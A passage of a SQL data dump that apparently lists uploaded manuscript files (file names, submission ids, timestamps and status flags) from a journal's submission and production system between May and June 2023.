11:09:40',1,3,0),(36870,13744,'13744-Manuscript-2023-05-08-1jnd-ap-team-revised.rar',NULL,'2023-05-08 11:10:07',1,3,0),(36871,13726,'13726-Manuscript-2023-05-08-6itk-ap-team-revised.rar',NULL,'2023-05-08 11:12:40',1,3,1),(36872,13688,'13688-Manuscript-2023-05-08-oz4q-ap-team-revised.rar',NULL,'2023-05-08 11:46:54',1,3,0),(36873,13688,'13688-Manuscript-2023-05-08-bafs-ap-team-revised.rar',NULL,'2023-05-08 11:48:24',1,3,0),(36874,13681,'13681-Manuscript-2023-05-08-ilo0.pdf',NULL,'2023-05-08 13:40:25',1,3,1),(36875,13581,'13581-Manuscript-2023-05-08-p45w.pdf',NULL,'2023-05-08 13:42:13',1,3,1),(36876,13580,'13580-Manuscript-2023-05-08-mqck.pdf',NULL,'2023-05-08 13:43:01',1,3,1),(36877,13579,'13579-Manuscript-2023-05-08-ie65.pdf',NULL,'2023-05-08 13:43:34',1,3,1),(36878,13577,'13577-Manuscript-2023-05-08-kun9.pdf',NULL,'2023-05-08 13:44:28',1,3,1),(36879,13576,'13576-Manuscript-2023-05-08-yhcg.pdf',NULL,'2023-05-08 13:45:06',1,3,1),(36880,13645,'13645-Manuscript-2023-05-08-5ymh.pdf',NULL,'2023-05-08 13:46:23',1,3,1),(36881,13682,'13682-Manuscript-2023-05-08-k0fl.pdf',NULL,'2023-05-08 13:47:18',1,3,1),(36882,13679,'13679-Manuscript-2023-05-08-a3ro.pdf',NULL,'2023-05-08 13:55:42',1,3,1),(36883,13680,'13680-Manuscript-2023-05-08-1fxy.pdf',NULL,'2023-05-08 13:56:10',1,3,1),(36884,13658,'13658-Manuscript-2023-05-09-8hmq.pdf',NULL,'2023-05-09 09:48:21',1,3,0),(36885,13657,'13657-Manuscript-2023-05-09-ju7o.pdf',NULL,'2023-05-09 09:48:30',1,3,0),(36886,13656,'13656-Manuscript-2023-05-09-fnx0.pdf',NULL,'2023-05-09 09:48:39',1,3,0),(36887,13655,'13655-Manuscript-2023-05-09-sohg.pdf',NULL,'2023-05-09 09:48:51',1,3,0),(36888,13747,'13745-0-Manuscript-2023-05-05.docx','','2023-05-05 00:00:00',1,1,0),(36889,13748,'13748-0-Manuscript-2023-05-09.docx',NULL,'2023-05-09 13:46:37',1,1,0),(36890,13749,'13749-0-Manuscript-2023-05-09.docx',NULL,'2023-05-09 13:49:18',1,1,0),(36891,13750,'13750-0-Manuscript-2023-05-09.docx',NULL,'2023-05-09 13:51:14',1,1,0),(36892,13751,'13751-0-Manuscript-2023-05-09.docx',NULL,'2023-05-09 13:55:39',1,1,0),(36893,13752,'13752-0-Manuscript-2023-05-09.docx',NULL,'2023-05-09 13:57:11',1,1,0),(36894,13753,'13753-0-Manuscript-2023-05-09.docx',NULL,'2023-05-09 14:32:00',1,1,0),(36895,13754,'13754-0-Manuscript-2023-05-09.docx',NULL,'2023-05-09 14:33:01',1,1,0),(36896,13755,'13755-0-Manuscript-2023-05-09.docx',NULL,'2023-05-09 14:34:13',1,1,0),(36897,13756,'13756-0-Manuscript-2023-05-09.docx',NULL,'2023-05-09 14:35:11',1,1,0),(36898,13757,'13757-0-Manuscript-2023-05-09.docx',NULL,'2023-05-09 14:36:22',1,1,0),(36899,13726,'13726-Manuscript-2023-05-09-emx7-move-pdf-making.pdf',NULL,'2023-05-09 15:11:31',1,3,0),(36900,6379,'6379-Manuscript-2023-05-09-uhem-qcfupteam-revised.docx',NULL,'2023-05-09 16:44:44',1,4,0),(36901,6379,'6379-ek0w-Manuscript-2023-05-09.docx',NULL,'2023-05-09 16:45:24',1,1,0),(36902,2932,'2932-Manuscript-2023-05-09-6qjp-qcfupteam-revised.docx',NULL,'2023-05-09 16:46:44',1,4,0),(36903,2932,'2932-c6u7-Manuscript-2023-05-09.docx',NULL,'2023-05-09 16:46:57',1,1,0),(36904,3548,'3548-Manuscript-2023-05-09-cew0-qcfupteam-revised.pdf',NULL,'2023-05-09 16:50:55',1,4,0),(36905,3548,'3548-a5ir-Manuscript-2023-05-09.pdf',NULL,'2023-05-09 16:51:13',1,1,0),(36907,13694,'13694-Manuscript-2023-05-10-4nz1-graphic-completed.pdf',NULL,'2023-05-10 10:36:16',1,3,0),(36908,13693,'13693-Manuscript-2023-05-10-v5gm-graphic-completed.pdf',NULL,'2023-05-10 10:36:23',1,3,0),(36909,13658,'13658-Manuscript-2023-05-10-qk9i.pdf',NULL,'2023-05-10 13:16:22',1,3,0),(36910,13661,'13661-Manuscript-2023-05-10-3hyt.pdf',NULL,'2023-05-10 13:17:24',1,3,0),(36911,13660,'13660-Manuscript-2023-05-10-xb84.pdf',NULL,'2023-05-10 13:17:52',1,3,0),(36912,13659,'13659-Manuscript-2023-05-10-l6id.pdf',NULL,'2023-05-10 13:18:18',1,3,0),(36913,13695,'13695-Manuscript-2023-05-10-w0kq-graphic-completed.pdf',NULL,'2023-05-10 15:23:56',1,3,0),(36914,13753,'13753-v6gz-Manuscript-proof-submission-2023-05-11.rar',NULL,'2023-05-11 10:58:55',1,3,0),(36915,13754,'13754-zk6n-Manuscript-proof-submission-2023-05-11.rar',NULL,'2023-05-11 11:07:59',1,3,0),(36916,13755,'13755-wmug-Manuscript-proof-submission-2023-05-11.rar',NULL,'2023-05-11 11:18:44',1,3,0),(36917,13756,'13756-9tuf-Manuscript-proof-submission-2023-05-11.rar',NULL,'2023-05-11 11:29:38',1,3,0),(36918,13757,'13757-gvui-Manuscript-proof-submission-2023-05-11.rar',NULL,'2023-05-11 11:37:23',1,3,0),(36919,13726,'13726-Manuscript-2023-05-11-xr0i.pdf',NULL,'2023-05-11 11:51:54',1,3,0),(36921,13755,'13755-Manuscript-2023-05-11-eym2-ap-team-revised.rar',NULL,'2023-05-11 12:18:30',1,3,1),(36922,13760,'13760-0-Manuscript-2023-05-11.docx',NULL,'2023-05-11 14:04:42',1,1,0),(36923,13753,'13753-Manuscript-2023-05-11-spli-ap-team-revised.rar',NULL,'2023-05-11 14:15:30',1,3,0),(36924,13753,'13753-Manuscript-2023-05-11-8jel-ap-team-revised.rar',NULL,'2023-05-11 14:16:26',1,3,1),(36925,13757,'13757-Manuscript-2023-05-11-ur7w-ap-team-revised.rar',NULL,'2023-05-11 14:16:57',1,3,1),(36926,13756,'13756-Manuscript-2023-05-11-4nhw-ap-team-revised.rar',NULL,'2023-05-11 14:17:26',1,3,1),(36927,13754,'13754-Manuscript-2023-05-11-hrxy-ap-team-revised.rar',NULL,'2023-05-11 14:17:51',1,3,1),(36928,13757,'13757-Manuscript-2023-05-11-vb4h-graphic-completed.pdf',NULL,'2023-05-11 17:09:33',1,3,0),(36929,13756,'13756-Manuscript-2023-05-11-5xmb-graphic-completed.pdf',NULL,'2023-05-11 17:09:36',1,3,0),(36930,13755,'13755-Manuscript-2023-05-11-2zd6-graphic-completed.pdf',NULL,'2023-05-11 17:09:39',1,3,0),(36931,13754,'13754-Manuscript-2023-05-11-odm5-graphic-completed.pdf',NULL,'2023-05-11 17:09:42',1,3,0),(36932,13753,'13753-Manuscript-2023-05-11-zvt3-graphic-completed.pdf',NULL,'2023-05-11 17:09:45',1,3,0),(36933,13753,'13753-Manuscript-2023-05-11-ifna.pdf',NULL,'2023-05-11 17:54:19',1,3,1),(36934,13754,'13754-Manuscript-2023-05-11-vqj2.pdf',NULL,'2023-05-11 17:55:09',1,3,1),(36935,13757,'13757-Manuscript-2023-05-11-6ds5.pdf',NULL,'2023-05-11 17:56:04',1,3,1),(36936,13756,'13756-Manuscript-2023-05-11-hp35.pdf',NULL,'2023-05-11 17:56:54',1,3,1),(36937,13755,'13755-Manuscript-2023-05-11-3hpq.pdf',NULL,'2023-05-11 17:57:46',1,3,1),(36938,13761,'13761-0-Manuscript-2023-05-12.docx',NULL,'2023-05-12 12:23:30',1,1,0),(36939,13735,'13735-cdt6-Manuscript-proof-submission-2023-05-12.rar',NULL,'2023-05-12 15:47:41',1,3,0),(36940,13762,'13762-0-Manuscript-2023-05-12.docx',NULL,'2023-05-12 15:55:23',1,1,0),(36941,13359,'13359-Manuscript-2023-05-15-m3di.docx',NULL,'2023-05-15 13:56:01',1,3,0),(36942,13359,'13359-Manuscript-2023-05-15-vc7w.pdf',NULL,'2023-05-15 13:56:13',1,3,0),(36943,12341,'12341-Manuscript-2023-05-15-qd4h-qcfupteam-revised.docx',NULL,'2023-05-15 14:43:38',1,4,0),(36944,12341,'12341-20rg-Manuscript-2023-05-15.docx',NULL,'2023-05-15 14:44:21',1,1,0),(36945,13763,'13763-0-Manuscript-2023-05-16.docx',NULL,'2023-05-16 09:49:08',1,1,0),(36946,13746,'13746-71yb-Manuscript-proof-submission-2023-05-16.rar',NULL,'2023-05-16 10:29:34',1,3,0),(36947,13746,'13746-u7ha-Manuscript-proof-submission-2023-05-16.rar',NULL,'2023-05-16 10:34:59',1,3,0),(36948,13744,'13744-tcsr-Manuscript-proof-submission-2023-05-16.rar',NULL,'2023-05-16 10:49:44',1,3,0),(36949,13743,'13743-span-Manuscript-proof-submission-2023-05-16.rar',NULL,'2023-05-16 10:51:36',1,3,0),(36950,13764,'13759-0-Manuscript-2023-05-11.doc','','2023-05-11 00:00:00',1,1,0),(36951,13744,'13744-Manuscript-2023-05-16-j2pr-ap-team-revised.rar',NULL,'2023-05-16 15:45:50',1,3,0),(36952,13746,'13746-Manuscript-2023-05-16-en3g-ap-team-revised.rar',NULL,'2023-05-16 15:46:21',1,3,0),(36953,13743,'13743-Manuscript-2023-05-16-jpkd-ap-team-revised.rar',NULL,'2023-05-16 17:04:17',1,3,0),(36954,13765,'13765-0-Manuscript-2023-05-17.docx',NULL,'2023-05-17 10:01:32',1,1,0),(36955,13559,'13559-eqb5-Manuscript-proof-submission-2023-05-17.docx',NULL,'2023-05-17 12:21:26',1,3,0),(36956,13559,'13559-dpur-Manuscript-proof-submission-2023-05-17.pdf',NULL,'2023-05-17 12:21:26',1,3,0),(36957,13735,'13735-Manuscript-2023-05-17-mn09-ijddr-23-13735.rar',NULL,'2023-05-17 14:04:02',1,3,1),(36958,13766,'13766-0-Manuscript-2023-05-17.docx',NULL,'2023-05-17 14:26:53',1,1,0),(36959,13735,'13735-Manuscript-2023-05-17-m4ue-graphic-completed.pdf',NULL,'2023-05-17 14:52:57',1,3,0),(36960,13767,'13767-0-Manuscript-2023-05-17.docx',NULL,'2023-05-17 15:21:03',1,1,0),(36961,13653,'13653-t837-Manuscript-proof-submission-2023-05-17.rar',NULL,'2023-05-17 15:42:43',1,3,0),(36962,13768,'13768-0-Manuscript-2023-05-18.docx',NULL,'2023-05-18 11:03:16',1,1,0),(36963,13653,'13653-Manuscript-2023-05-18-mqxp-ap-team-revised.rar',NULL,'2023-05-18 13:18:08',1,3,0),(36964,13735,'13735-Manuscript-2023-05-18-9l1s.pdf',NULL,'2023-05-18 17:48:15',1,3,1),(36965,13639,'13639-Manuscript-2023-05-18-oscy.pdf',NULL,'2023-05-18 17:49:18',1,3,1),(36966,13728,'13728-Manuscript-2023-05-18-j4se.pdf',NULL,'2023-05-18 17:50:08',1,3,1),(36967,13706,'13706-Manuscript-2023-05-18-xkgd.pdf',NULL,'2023-05-18 17:52:40',1,3,1),(36968,13769,'13769-0-Manuscript-2023-05-19.docx',NULL,'2023-05-19 09:08:26',1,1,0),(36969,13761,'13761-3idr-Manuscript-proof-submission-2023-05-19.docx',NULL,'2023-05-19 09:53:57',1,3,0),(36970,13708,'13708-Manuscript-2023-05-19-s04q.pdf',NULL,'2023-05-19 10:15:13',1,3,1),(36971,13597,'13597-x4hd-Manuscript-proof-submission-2023-05-19.pdf',NULL,'2023-05-19 10:52:08',1,3,0),(36972,13653,'13653-Manuscript-2023-05-19-ohf0.pdf',NULL,'2023-05-19 11:00:17',1,3,0),(36973,13770,'13770-0-Manuscript-2023-05-19.docx',NULL,'2023-05-19 15:21:36',1,1,0),(36974,13653,'13653-Manuscript-2023-05-19-9qdw.pdf',NULL,'2023-05-19 17:41:14',1,3,0),(36975,13762,'13762-7ibq-Manuscript-proof-submission-2023-05-20.rar',NULL,'2023-05-20 09:51:57',1,3,0),(36976,13752,'13752-48t9-Manuscript-proof-submission-2023-05-20.rar',NULL,'2023-05-20 09:52:29',1,3,0),(36977,13751,'13751-r8yf-Manuscript-proof-submission-2023-05-20.rar',NULL,'2023-05-20 09:52:52',1,3,0),(36978,13750,'13750-l1kz-Manuscript-proof-submission-2023-05-20.rar',NULL,'2023-05-20 09:53:38',1,3,0),(36979,13749,'13749-ja4b-Manuscript-proof-submission-2023-05-20.rar',NULL,'2023-05-20 09:54:13',1,3,0),(36980,13771,'13771-0-Manuscript-2023-05-20.docx',NULL,'2023-05-20 12:09:52',1,1,0),(36982,13773,'13773-0-Manuscript-2023-05-21.docx',NULL,'2023-05-21 12:45:40',1,1,0),(36983,13774,'13774-0-Manuscript-2023-05-22.docx',NULL,'2023-05-22 07:39:12',1,1,0),(36985,13776,'13776-0-Manuscript-2023-05-22.docx',NULL,'2023-05-22 09:40:54',1,1,0),(36986,13762,'13762-Manuscript-2023-05-22-63u5-ap-team-revised.rar',NULL,'2023-05-22 10:51:20',1,3,1),(36987,13749,'13749-Manuscript-2023-05-22-69sl-ap-team-revised.rar',NULL,'2023-05-22 10:53:20',1,3,1),(36988,13752,'13752-Manuscript-2023-05-22-yf3d-ap-team-revised.rar',NULL,'2023-05-22 10:54:12',1,3,1),(36989,13751,'13751-Manuscript-2023-05-22-ctb6-ap-team-revised.rar',NULL,'2023-05-22 10:54:46',1,3,1),(36990,13750,'13750-Manuscript-2023-05-22-6on9-ap-team-revised.rar',NULL,'2023-05-22 10:55:11',1,3,1),(36991,13716,'13716-Manuscript-2023-05-22-6oq1.pdf',NULL,'2023-05-22 15:17:35',1,3,1),(36992,13719,'13719-Manuscript-2023-05-22-m96q.pdf',NULL,'2023-05-22 15:19:21',1,3,1),(36993,13686,'13686-Manuscript-2023-05-22-svyw.pdf',NULL,'2023-05-22 15:20:28',1,3,1),(36994,13752,'13752-Manuscript-2023-05-22-t5d8-graphic-completed.pdf',NULL,'2023-05-22 16:01:37',1,3,0),(36995,13762,'13762-Manuscript-2023-05-22-ge90-graphic-completed.pdf',NULL,'2023-05-22 16:02:10',1,3,0),(36996,13749,'13749-Manuscript-2023-05-22-1q8m-graphic-completed.pdf',NULL,'2023-05-22 16:02:13',1,3,0),(36997,13750,'13750-Manuscript-2023-05-22-b31e-graphic-completed.pdf',NULL,'2023-05-22 16:02:43',1,3,0),(36998,13762,'13762-Manuscript-2023-05-22-efu4-graphic-completed.pdf',NULL,'2023-05-22 16:03:04',1,3,0),(36999,13751,'13751-Manuscript-2023-05-22-w2in-graphic-completed.pdf',NULL,'2023-05-22 16:05:04',1,3,0),(37000,13777,'13777-0-Manuscript-2023-05-22.docx',NULL,'2023-05-22 16:45:39',1,1,0),(37001,13778,'13778-0-Manuscript-2023-05-22.docx',NULL,'2023-05-22 17:13:42',1,1,0),(37002,13779,'13779-0-Manuscript-2023-05-22.docx',NULL,'2023-05-22 17:22:21',1,1,0),(37003,13780,'13780-0-Manuscript-2023-05-22.docx',NULL,'2023-05-22 17:26:19',1,1,0),(37004,13781,'13781-0-Manuscript-2023-05-22.docx',NULL,'2023-05-22 17:31:41',1,1,0),(37005,13782,'13782-0-Manuscript-2023-05-22.docx',NULL,'2023-05-22 17:47:42',1,1,0),(37006,13684,'13684-Manuscript-2023-05-23-1scu.pdf',NULL,'2023-05-23 10:52:03',1,3,1),(37007,13720,'13720-Manuscript-2023-05-23-zb3h.pdf',NULL,'2023-05-23 10:53:12',1,3,1),(37008,13721,'13721-Manuscript-2023-05-23-tkye.pdf',NULL,'2023-05-23 10:58:41',1,3,1),(37009,13683,'13683-Manuscript-2023-05-23-nmwa.pdf',NULL,'2023-05-23 11:08:31',1,3,1),(37010,13717,'13717-Manuscript-2023-05-23-kil3.pdf',NULL,'2023-05-23 14:24:54',1,3,1),(37011,13762,'13762-Manuscript-2023-05-24-d6uh.pdf',NULL,'2023-05-24 13:18:23',1,3,1),(37012,13749,'13749-Manuscript-2023-05-24-1d9u.pdf',NULL,'2023-05-24 13:19:35',1,3,1),(37013,13750,'13750-Manuscript-2023-05-24-reyu.pdf',NULL,'2023-05-24 13:20:47',1,3,1),(37014,13752,'13752-Manuscript-2023-05-24-mvp4.pdf',NULL,'2023-05-24 13:27:54',1,3,1),(37015,13751,'13751-Manuscript-2023-05-24-f4n2.pdf',NULL,'2023-05-24 13:28:53',1,3,1),(37016,13742,'13742-3ymd-Manuscript-proof-submission-2023-05-24.rar',NULL,'2023-05-24 15:37:21',1,3,0),(37017,13764,'13764-40lg-Manuscript-proof-submission-2023-05-24.rar',NULL,'2023-05-24 15:48:34',1,3,0),(37018,13764,'13764-Manuscript-2023-05-24-3q2v-ap-team-revised.rar',NULL,'2023-05-24 16:58:47',1,3,1),(37019,13783,'13783-0-Manuscript-2023-05-25.docx',NULL,'2023-05-25 10:33:50',1,1,0),(37020,13742,'13742-Manuscript-2023-05-25-18kq-ap-team-revised.rar',NULL,'2023-05-25 10:48:48',1,3,1),(37021,13784,'13784-0-Manuscript-2023-05-25.docx',NULL,'2023-05-25 11:24:34',1,1,0),(37022,13764,'13764-Manuscript-2023-05-25-8bas-graphic-completed.pdf',NULL,'2023-05-25 13:46:43',1,3,0),(37023,13742,'13742-Manuscript-2023-05-25-nhbw-graphic-completed.pdf',NULL,'2023-05-25 14:12:11',1,3,0),(37024,13785,'13785-0-Manuscript-2023-05-25.docx',NULL,'2023-05-25 14:59:24',1,1,0),(37025,13760,'13760-e0pc-Manuscript-proof-submission-2023-05-25.rar',NULL,'2023-05-25 17:03:31',1,3,0),(37026,13736,'13736-Manuscript-2023-05-26-3sft.pdf',NULL,'2023-05-26 09:49:52',1,3,0),(37027,13737,'13737-Manuscript-2023-05-26-rbkt.pdf',NULL,'2023-05-26 09:50:05',1,3,0),(37028,13738,'13738-Manuscript-2023-05-26-okle.pdf',NULL,'2023-05-26 09:50:14',1,3,0),(37029,13739,'13739-Manuscript-2023-05-26-t7ki.pdf',NULL,'2023-05-26 09:50:23',1,3,0),(37030,13764,'13764-Manuscript-2023-05-26-lmtv.pdf',NULL,'2023-05-26 10:37:12',1,3,1),(37031,13742,'13742-Manuscript-2023-05-26-3981.pdf',NULL,'2023-05-26 10:39:00',1,3,1),(37032,13786,'13786-0-Manuscript-2023-05-27.docx',NULL,'2023-05-27 09:09:40',1,1,0),(37033,13763,'13763-yi7x-Manuscript-proof-submission-2023-05-27.rar',NULL,'2023-05-27 10:06:12',1,3,0),(37034,13763,'13763-Manuscript-2023-05-27-5n6p-ap-team-revised.rar',NULL,'2023-05-27 10:21:49',1,3,1),(37035,13760,'13760-Manuscript-2023-05-27-ulsa-ap-team-revised.rar',NULL,'2023-05-27 10:22:20',1,3,1),(37036,13787,'13787-0-Manuscript-2023-05-27.docx',NULL,'2023-05-27 11:21:54',1,1,0),(37037,13763,'13763-Manuscript-2023-05-27-eozq-graphic-completed.pdf',NULL,'2023-05-27 12:53:34',1,3,0),(37038,13760,'13760-Manuscript-2023-05-27-8qkf-graphic-completed.pdf',NULL,'2023-05-27 12:53:50',1,3,0),(37039,13767,'13767-1u5g-Manuscript-proof-submission-2023-05-29.rar',NULL,'2023-05-29 14:02:18',1,3,0),(37040,13770,'13770-2erk-Manuscript-proof-submission-2023-05-29.rar',NULL,'2023-05-29 14:41:59',1,3,0),(37041,13788,'13788-0-Manuscript-2023-05-29.docx',NULL,'2023-05-29 15:18:53',1,1,0),(37042,13783,'13783-g472-Manuscript-proof-submission-2023-05-29.rar',NULL,'2023-05-29 15:46:27',1,3,0),(37043,13767,'13767-Manuscript-2023-05-29-v6x7-ap-team-revised.rar',NULL,'2023-05-29 16:58:53',1,3,1),(37044,13770,'13770-Manuscript-2023-05-29-ghkv-ap-team-revised.rar',NULL,'2023-05-29 16:59:26',1,3,1),(37045,13763,'13763-Manuscript-2023-05-29-8fgh.pdf',NULL,'2023-05-29 17:01:39',1,3,1),(37046,13760,'13760-Manuscript-2023-05-29-vd6n.pdf',NULL,'2023-05-29 17:02:30',1,3,1),(37047,13783,'13783-Manuscript-2023-05-29-ixy3-ap-team-revised.rar',NULL,'2023-05-29 17:10:01',1,3,1),(37048,13789,'13789-0-Manuscript-2023-05-30.docx',NULL,'2023-05-30 11:05:09',1,1,0),(37049,13785,'13785-cl9u-Manuscript-proof-submission-2023-05-30.rar',NULL,'2023-05-30 12:03:05',1,3,0),(37050,13785,'13785-tusl-Manuscript-proof-submission-2023-05-30.rar',NULL,'2023-05-30 12:03:28',1,3,0),(37051,13783,'13783-Manuscript-2023-05-30-g6pz-graphic-completed.pdf',NULL,'2023-05-30 17:27:15',1,3,0),(37052,13770,'13770-Manuscript-2023-05-30-5lm9-graphic-completed.pdf',NULL,'2023-05-30 17:27:30',1,3,0),(37053,13767,'13767-Manuscript-2023-05-30-bfde-graphic-completed.pdf',NULL,'2023-05-30 17:27:46',1,3,0),(37054,13790,'13790-0-Manuscript-2023-05-31.docx',NULL,'2023-05-31 10:59:57',1,1,0),(37055,13787,'13787-3wco-Manuscript-proof-submission-2023-05-31.rar',NULL,'2023-05-31 11:05:41',1,3,0),(37056,13785,'13785-Manuscript-2023-05-31-x653-ap-team-revised.rar',NULL,'2023-05-31 13:00:41',1,3,1),(37057,13787,'13787-Manuscript-2023-05-31-28g6-ap-team-revised.rar',NULL,'2023-05-31 13:04:57',1,3,1),(37058,13783,'13783-Manuscript-2023-05-31-u2ck.pdf',NULL,'2023-05-31 13:22:36',1,3,1),(37059,13767,'13767-Manuscript-2023-05-31-tci4.pdf',NULL,'2023-05-31 13:23:43',1,3,1),(37060,13770,'13770-Manuscript-2023-05-31-aq09.pdf',NULL,'2023-05-31 13:25:15',1,3,1),(37061,13789,'13789-fv1t-Manuscript-proof-submission-2023-05-31.rar',NULL,'2023-05-31 15:37:52',1,3,0),(37062,13789,'13789-Manuscript-2023-05-31-1a20-ap-team-revised.rar',NULL,'2023-05-31 16:45:02',1,3,1),(37063,13785,'13785-Manuscript-2023-05-31-xfre-graphic-completed.pdf',NULL,'2023-05-31 16:57:28',1,3,0),(37064,13787,'13787-Manuscript-2023-05-31-ok03-graphic-completed.pdf',NULL,'2023-05-31 16:57:40',1,3,0),(37065,13789,'13789-Manuscript-2023-06-01-g3bn-graphic-completed.pdf',NULL,'2023-06-01 10:44:33',1,3,0),(37066,13774,'13774-epfl-Manuscript-proof-submission-2023-06-01.rar',NULL,'2023-06-01 10:52:44',1,3,0),(37067,13774,'13774-jkeq-Manuscript-proof-submission-2023-06-01.rar',NULL,'2023-06-01 10:52:47',1,3,0),(37068,13774,'13774-01oh-Manuscript-proof-submission-2023-06-01.rar',NULL,'2023-06-01 10:52:49',1,3,0),(37069,13774,'13774-Manuscript-2023-06-01-5n6b-ap-team-revised.rar',NULL,'2023-06-01 11:36:02',1,3,1),(37070,13789,'13789-Manuscript-2023-06-01-rndj.pdf',NULL,'2023-06-01 13:38:24',1,3,1),(37071,13787,'13787-Manuscript-2023-06-01-cth7.pdf',NULL,'2023-06-01 13:39:38',1,3,1),(37072,13785,'13785-Manuscript-2023-06-01-pk6q.pdf',NULL,'2023-06-01 13:40:38',1,3,1),(37073,13791,'13791-0-Manuscript-2023-06-02.docx',NULL,'2023-06-02 09:51:31',1,1,0),(37074,13792,'13792-0-Manuscript-2023-06-02.docx',NULL,'2023-06-03 00:43:03',1,1,0),(37078,13796,'13796-0-Manuscript-2023-06-05.docx',NULL,'2023-06-05 14:09:00',1,1,0),(37079,2932,'2932-u4xm-Manuscript-proof-submission-2023-06-05.docx',NULL,'2023-06-05 14:14:25',1,3,0),(37080,2932,'2932-y1l5-Manuscript-proof-submission-2023-06-05.pdf',NULL,'2023-06-05 14:14:25',1,3,0),(37081,13793,'13793-0-Manuscript-2023-06-03.docx','','2023-06-03 00:00:00',1,1,0),(37082,13774,'13774-Manuscript-2023-06-07-6vgy-graphic-completed.pdf',NULL,'2023-06-07 12:14:51',1,3,0),(37083,13774,'13774-Manuscript-2023-06-08-lbox.pdf',NULL,'2023-06-08 15:13:31',1,3,1),(37084,13798,'13798-0-Manuscript-2023-06-09.docx',NULL,'2023-06-09 11:15:59',1,1,0),(37085,13421,'13421-yf3r-Manuscript-proof-submission-2023-06-09.docx',NULL,'2023-06-09 11:55:07',1,3,0),(37086,13421,'13421-u5k4-Manuscript-proof-submission-2023-06-09.pdf',NULL,'2023-06-09 11:55:07',1,3,0),(37087,13513,'13513-Manuscript-2023-06-09-lykx.docx',NULL,'2023-06-09 11:58:53',1,3,0),(37088,13513,'13513-Manuscript-2023-06-09-ax0u.pdf',NULL,'2023-06-09 11:59:03',1,3,0),(37089,13776,'13776-z04b-Manuscript-proof-submission-2023-06-09.docx',NULL,'2023-06-09 12:13:35',1,3,0),(37090,13799,'13799-0-Manuscript-2023-06-09.docx',NULL,'2023-06-09 16:43:32',1,1,0),(37091,13800,'13800-0-Manuscript-2023-06-09.docx',NULL,'2023-06-09 16:45:07',1,1,0),(37092,13801,'13801-0-Manuscript-2023-06-09.docx',NULL,'2023-06-09 16:46:51',1,1,0),(37093,13802,'13802-0-Manuscript-2023-06-09.docx',NULL,'2023-06-09 16:49:46',1,1,0),(37094,13803,'13803-0-Manuscript-2023-06-09.docx',NULL,'2023-06-09 16:54:39',1,1,0),(37095,13804,'13804-0-Manuscript-2023-06-09.docx',NULL,'2023-06-09 16:57:48',1,1,0),(37096,13805,'13805-0-Manuscript-2023-06-09.docx',NULL,'2023-06-09 17:00:39',1,1,0),(37097,13806,'13806-0-Manuscript-2023-06-09.docx',NULL,'2023-06-09 17:03:02',1,1,0),(37098,13807,'13807-0-Manuscript-2023-06-09.docx',NULL,'2023-06-09 17:06:14',1,1,0),(37099,13808,'13808-0-Manuscript-2023-06-09.docx',NULL,'2023-06-09 17:09:59',1,1,0),(37100,13809,'13809-0-Manuscript-2023-06-10.pdf',NULL,'2023-06-10 22:59:03',1,1,0),(37101,13765,'13765-kzj1-Manuscript-proof-submission-2023-06-12.rar',NULL,'2023-06-12 11:28:21',1,3,0),(37102,13765,'13765-uyhr-Manuscript-proof-submission-2023-06-12.rar',NULL,'2023-06-12 11:28:23',1,3,0),(37103,13765,'13765-xb0q-Manuscript-proof-submission-2023-06-12.rar',NULL,'2023-06-12 11:28:25',1,3,0),(37104,13765,'13765-mns3-Manuscript-proof-submission-2023-06-12.rar',NULL,'2023-06-12 11:28:26',1,3,0),(37105,13765,'13765-cg5p-Manuscript-proof-submission-2023-06-12.rar',NULL,'2023-06-12 11:28:28',1,3,0),(37106,13796,'13796-b8u6-Manuscript-proof-submission-2023-06-12.rar',NULL,'2023-06-12 15:48:32',1,3,0),(37107,13773,'13773-6cq1-Manuscript-proof-submission-2023-06-12.rar',NULL,'2023-06-12 15:48:59',1,3,0),(37108,13741,'13741-ldv3-Manuscript-proof-submission-2023-06-12.rar',NULL,'2023-06-12 15:49:20',1,3,0),(37109,12278,'12278-u0hb-Manuscript-proof-submission-2023-06-12.pdf',NULL,'2023-06-12 18:00:51',1,3,0),(37110,13810,'13810-0-Manuscript-2023-06-13.docx',NULL,'2023-06-13 09:37:50',1,1,0),(37111,13768,'13768-ev2q-Manuscript-proof-submission-2023-06-13.docx',NULL,'2023-06-13 10:30:08',1,3,0),(37112,13771,'13771-290c-Manuscript-proof-submission-2023-06-13.docx',NULL,'2023-06-13 10:31:20',1,3,0),(37114,13812,'13812-0-Manuscript-2023-06-13.docx',NULL,'2023-06-13 14:33:13',1,1,0),(37115,13813,'13813-0-Manuscript-2023-06-13.docx',NULL,'2023-06-13 14:35:45',1,1,0),(37116,13814,'13814-0-Manuscript-2023-06-13.docx',NULL,'2023-06-13 14:37:58',1,1,0),(37117,13796,'13796-Manuscript-2023-06-13-3p1w-ap-team-revised.rar',NULL,'2023-06-13 15:10:30',1,3,1),(37118,13741,'13741-Manuscript-2023-06-13-zaei-ap-team-revised.rar',NULL,'2023-06-13 15:10:58',1,3,1),(37119,13773,'13773-Manuscript-2023-06-13-ewyl-ap-team-revised.rar',NULL,'2023-06-13 15:11:35',1,3,1),(37121,13816,'13816-0-Manuscript-2023-06-14.docx',NULL,'2023-06-14 13:16:12',1,1,0),(37125,13820,'13820-0-Manuscript-2023-06-14.docx',NULL,'2023-06-14 14:02:41',1,1,0),(37128,13823,'13823-0-Manuscript-2023-06-14.docx',NULL,'2023-06-14 14:21:15',1,1,0),(37129,13824,'13824-0-Manuscript-2023-06-14.docx',NULL,'2023-06-14 14:24:41',1,1,0),(37130,13825,'13825-0-Manuscript-2023-06-14.docx',NULL,'2023-06-14 14:28:05',1,1,0),(37131,13765,'13765-Manuscript-2023-06-14-dr59-ap-team-revised.rar',NULL,'2023-06-14 15:17:17',1,3,0),(37132,13713,'13713-x0i7-Manuscript-proof-submission-2023-06-15.docx',NULL,'2023-06-15 10:05:32',1,3,0),(37133,13714,'13714-s5i7-Manuscript-proof-submission-2023-06-15.docx',NULL,'2023-06-15 10:06:03',1,3,0),(37134,13715,'13715-5kex-Manuscript-proof-submission-2023-06-15.docx',NULL,'2023-06-15 10:06:36',1,3,0),(37135,13718,'13718-gkds-Manuscript-proof-submission-2023-06-15.docx',NULL,'2023-06-15 10:07:20',1,3,0),(37136,13722,'13722-8an0-Manuscript-proof-submission-2023-06-15.docx',NULL,'2023-06-15 10:08:06',1,3,0),(37137,13778,'13778-nzsl-Manuscript-proof-submission-2023-06-15.docx',NULL,'2023-06-15 10:08:48',1,3,0),(37138,13779,'13779-eq4d-Manuscript-proof-submission-2023-06-15.docx',NULL,'2023-06-15 10:09:36',1,3,0),(37139,13780,'13780-shu1-Manuscript-proof-submission-2023-06-15.docx',NULL,'2023-06-15 